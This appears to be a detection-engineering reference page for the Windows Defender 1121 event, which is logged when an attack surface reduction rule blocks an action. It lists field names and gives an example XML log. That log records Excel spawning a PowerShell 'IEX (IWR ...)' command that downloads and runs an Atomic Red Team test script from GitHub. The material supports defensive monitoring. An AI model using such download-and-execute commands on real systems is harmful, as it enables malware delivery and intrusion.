<span class="pill kill-chain">_time</span>
<span class="pill kill-chain">ActivityID</span>
<span class="pill kill-chain">category</span>
<span class="pill kill-chain">Channel</span>
<span class="pill kill-chain">Computer</span>
<span class="pill kill-chain">ComputerName</span>
<span class="pill kill-chain">date</span>
<span class="pill kill-chain">date_hour</span>
<span class="pill kill-chain">date_mday</span>
<span class="pill kill-chain">date_minute</span>
<span class="pill kill-chain">date_month</span>
<span class="pill kill-chain">date_second</span>
<span class="pill kill-chain">date_wday</span>
<span class="pill kill-chain">date_year</span>
<span class="pill kill-chain">date_zone</span>
<span class="pill kill-chain">dest</span>
<span class="pill kill-chain">Detection_Time</span>
<span class="pill kill-chain">Detection_time</span>
<span class="pill kill-chain">dvc</span>
<span class="pill kill-chain">dvc_nt_host</span>
<span class="pill kill-chain">Engine_Version</span>
<span class="pill kill-chain">event_id</span>
<span class="pill kill-chain">EventCode</span>
<span class="pill kill-chain">EventData_Xml</span>
<span class="pill kill-chain">EventID</span>
<span class="pill kill-chain">EventRecordID</span>
<span class="pill kill-chain">EventType</span>
<span class="pill kill-chain">eventtype</span>
<span class="pill kill-chain">file_name</span>
<span class="pill kill-chain">file_path</span>
<span class="pill kill-chain">Guid</span>
<span class="pill kill-chain">host</span>
<span class="pill kill-chain">ID</span>
<span class="pill kill-chain">id</span>
<span class="pill kill-chain">index</span>
<span class="pill kill-chain">Inheritance_Flags</span>
<span class="pill kill-chain">Inhertiance_Flags</span>
<span class="pill kill-chain">Involved_File</span>
<span class="pill kill-chain">Keywords</span>
<span class="pill kill-chain">Level</span>
<span class="pill kill-chain">linecount</span>
<span class="pill kill-chain">LogName</span>
<span class="pill kill-chain">Message</span>
<span class="pill kill-chain">meta</span>
<span class="pill kill-chain">Name</span>
<span class="pill kill-chain">OpCode</span>
<span class="pill kill-chain">Opcode</span>
<span class="pill kill-chain">Parent_Commandline</span>
<span class="pill kill-chain">Path</span>
<span class="pill kill-chain">Process_Name</span>
<span class="pill kill-chain">ProcessID</span>
<span class="pill kill-chain">Product_Name</span>
<span class="pill kill-chain">Product_Version</span>
<span class="pill kill-chain">product_version</span>
<span class="pill kill-chain">punct</span>
<span class="pill kill-chain">RecordNumber</span>
<span class="pill kill-chain">RuleType</span>
<span class="pill kill-chain">Security_intelligence_Version</span>
<span class="pill kill-chain">severity</span>
<span class="pill kill-chain">severity_id</span>
<span class="pill kill-chain">Sid</span>
<span class="pill kill-chain">SidType</span>
<span class="pill kill-chain">signature</span>
<span class="pill kill-chain">signature_id</span>
<span class="pill kill-chain">source</span>
<span class="pill kill-chain">sourcetype</span>
<span class="pill kill-chain">splunk_server</span>
<span class="pill kill-chain">System_Props_Xml</span>
<span class="pill kill-chain">SystemTime</span>
<span class="pill kill-chain">tag</span>
<span class="pill kill-chain">tag::eventtype</span>
<span class="pill kill-chain">Target_Commandline</span>
<span class="pill kill-chain">Task</span>
<span class="pill kill-chain">TaskCategory</span>
<span class="pill kill-chain">ThreadID</span>
<span class="pill kill-chain">timeendpos</span>
<span class="pill kill-chain">timestamp</span>
<span class="pill kill-chain">timestartpos</span>
<span class="pill kill-chain">Type</span>
<span class="pill kill-chain">User</span>
<span class="pill kill-chain">user</span>
<span class="pill kill-chain">user_id</span>
<span class="pill kill-chain">UserID</span>
<span class="pill kill-chain">vendor_product</span>
<span class="pill kill-chain">Version</span>
</div>
Data Source: Windows Event Log Defender 1121
Description
Logs an event when a Windows Defender attack surface reduction rule fires in block mode.
Details
| Property | Value |
|---|---|
| Source | WinEventLog:Microsoft-Windows-Windows Defender/Operational |
| Sourcetype | XmlWinEventLog |
| Separator | EventCode |
Related Detections
Supported Apps
- Splunk Add-on for Microsoft Windows (version 11.0.3)
Event Fields
Fields
Example Log
1<Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Windows Defender' Guid='{11cd958a-c507-4ef3-b3f2-5fd9dfbd2c78}'/><EventID>1121</EventID><Version>0</Version><Level>3</Level><Task>0</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2023-11-20T15:42:14.1274112Z'/><EventRecordID>2961</EventRecordID><Correlation ActivityID='{fde93132-9071-49aa-a116-2d8a135a3bd6}'/><Execution ProcessID='3488' ThreadID='5916'/><Channel>Microsoft-Windows-Windows Defender/Operational</Channel><Computer>researchvmhaa</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='Product Name'>Microsoft Defender Antivirus</Data><Data Name='Product Version'>4.18.23100.2009</Data><Data Name='Unused'></Data><Data Name='ID'>D4F940AB-401B-4EFC-AADC-AD5F3C50688A</Data><Data Name='Detection Time'>2023-11-20T15:42:14.127Z</Data><Data Name='User'>researchvmhaa\research</Data><Data Name='Path'>C:\Windows\System32\cmd.exe</Data><Data Name='Process Name'>C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE</Data><Data Name='Security intelligence Version'>1.401.908.0</Data><Data Name='Engine Version'>1.1.23100.2009</Data><Data Name='RuleType'>ENT\ConsR</Data><Data Name='Target Commandline'>cmd.exe /c powershell.exe IEX ( IWR -uri 'https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Chain_Reactions/chain_reaction_DragonsTail.ps1')</Data><Data Name='Parent Commandline'>"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\research\Desktop\macs\mac6.xls"</Data><Data Name='Involved File'>C:\Users\research\Desktop\macs\mac6.xls</Data><Data Name='Inhertiance Flags'>0x00000000</Data></EventData></Event>
Source: GitHub | Version: 5